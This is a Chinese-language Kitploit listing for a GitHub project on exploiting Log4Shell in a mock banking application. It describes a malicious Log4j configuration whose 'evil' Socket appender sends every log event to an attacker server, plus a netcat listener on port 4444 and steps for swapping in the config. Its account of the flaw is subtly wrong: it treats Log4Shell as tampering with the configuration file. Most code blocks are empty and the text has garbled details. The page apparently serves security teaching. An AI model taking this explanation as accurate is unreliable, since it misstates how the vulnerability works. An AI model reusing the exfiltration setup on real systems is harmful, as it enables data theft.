Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
Exploiting-CVE-2021-44228-Log4Shell-in-a-Banking-Environment — 目标:展示在模拟银行应用环境中利用 Log4Shell 漏洞(CVE-2021-44228)的过程。 | Kitploit
工具/GitHubGitHub/tadash10/exploiting-cve-2021-44228-log4shell-in-a-banking-environment
漏洞分析漏洞利用横向移动Web应用程序漏洞利用数据泄露后渗透利用渗透测试命令与控制学习与教育

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
Payload 开发
实验室与实践
GitHubtadash10/exploiting-cve-2021-44228-log4shell-in-a-banking-environment

Exploiting-CVE-2021-44228-Log4Shell-in-a-Banking-Environment

目标:展示在模拟银行应用环境中利用 Log4Shell 漏洞(CVE-2021-44228)的过程。

查看仓库
32年前尚未审核

Exploiting-CVE-2021-44228-Log4Shell-in-a-Banking-Environment

目标:在模拟的银行应用环境中演示 Log4Shell 漏洞(CVE-2021-44228)的利用。

范围:

1: 搭建一个使用 Apache Log4j 的易受攻击的银行应用程序。 2: 构造利用漏洞的载荷,实现远程代码执行。 3: 演示利用后技术,例如数据外泄和横向移动。 4: 实施并记录检测与缓解策略,包括补丁安装和网络监控。 5: 详细讲解利用过程,包括所使用的工具(例如 JNDI Exploit Kit、Burp Suite)。

让我们深入探讨如何构造一个利用 Log4Shell 漏洞(CVE-2021-44228)的载荷,并在虚构的虚拟机练习场景中实现远程代码执行。

要构造载荷,我们需要理解漏洞的本质。Log4Shell 漏洞允许攻击者向 Log4j 库的配置文件中注入恶意代码,随后由受影响的应用程序执行。该载荷旨在触发此漏洞并在目标系统上执行任意代码。

以下是构造载荷的基本步骤概述:

root@kitploit:~
确定 Log4j 配置文件:找出目标银行应用环境中 Log4j 配置文件的位置。通常,该文件名为 log4j2.xml 或 log4j.properties。

构造利用载荷:创建一个恶意的 Log4j 配置,其中包含用于执行任意代码的 Java 命名和目录接口(JNDI)查找。该载荷可以嵌入到 log4j2.xml 文件中。

xml

将 "your-attacker-server" 替换为你攻击机器的 IP 地址或主机名,并监听端口 4444。

托管载荷:在你的攻击机器上设置一个监听器,以接收连接并执行任意代码。

XML 声明:

xml

root@kitploit:~
标准的 XML 声明。

配置元素:

xml

root@kitploit:~
Log4j 配置的根元素。

Appenders:

xml

root@kitploit:~
定义了一个名为 "evil" 的 Socket appender。
host 属性指定攻击者的服务器。
port 属性指定攻击者服务器上的端口。
SerializedLayout 表示日志事件将被序列化并通过网络发送,这可能带来安全风险,因为它可能通过反序列化攻击实现远程代码执行(RCE)。

Loggers:

xml

root@kitploit:~
<Loggers>
    <Root level="all">
        <AppenderRef ref="evil" />
    </Root>
</Loggers>

    将日志级别定义为 all,表示所有日志消息(debug、info、warn、error 等)都会被捕获。
    AppenderRef 引用了之前定义的 "evil" appender,意味着所有日志消息都会被发送到攻击者的服务器。

反馈

root@kitploit:~
安全风险:
    远程代码执行 (RCE):在远程 Socket appender 中使用 SerializedLayout 可能使攻击者能够通过控制服务器并发送恶意载荷,在系统上执行任意代码。这是一个严重的安全漏洞。
    数据外泄:此配置很容易导致敏感数据被发送到未经授权的远程服务器,从而导致数据泄露。

不当的日志记录实践:
    将日志记录到不受信任的远程服务器是极不安全的,违背了安全日志记录的最佳实践。
    在生产环境中使用 all 级别进行日志记录可能导致日志洪水、性能问题以及敏感信息泄露的风险。

缓解建议:
    避免使用序列化布局:除非绝对必要,否则不要在日志配置中使用 SerializedLayout,并确保接收服务器是可信且安全的。
    验证日志记录端点:确保所有日志记录端点位于可信且受控的环境中。
    使用安全布局:使用更安全的布局,如 PatternLayout,避免序列化风险。
    限制日志记录级别:使用适当的日志级别(例如 info、warn、error),除非在安全环境中进行特定调试,否则避免使用 all。

安全配置示例

以下是一个更安全的 Log4j 配置示例:

xml

yaml
root@kitploit:~
nc -nlvp 4444

触发漏洞:将构造好的 Log4j 配置文件部署到目标环境中,替换原配置文件。

执行利用:一旦恶意配置被易受攻击的 Log4j 实例加载,它将尝试与攻击者服务器建立连接,从而导致远程代码执行。

验证执行:检查你攻击机器上的监听器,确认载荷已成功执行。

必须注意,此载荷仅用于受控环境中的教育和测试目的。在现实场景中,未经授权利用像 Log4Shell 这样的漏洞是非法的且不道德的。请始终确保在进行任何安全测试或渗透测试活动之前,已获得明确的许可和授权。

下载工具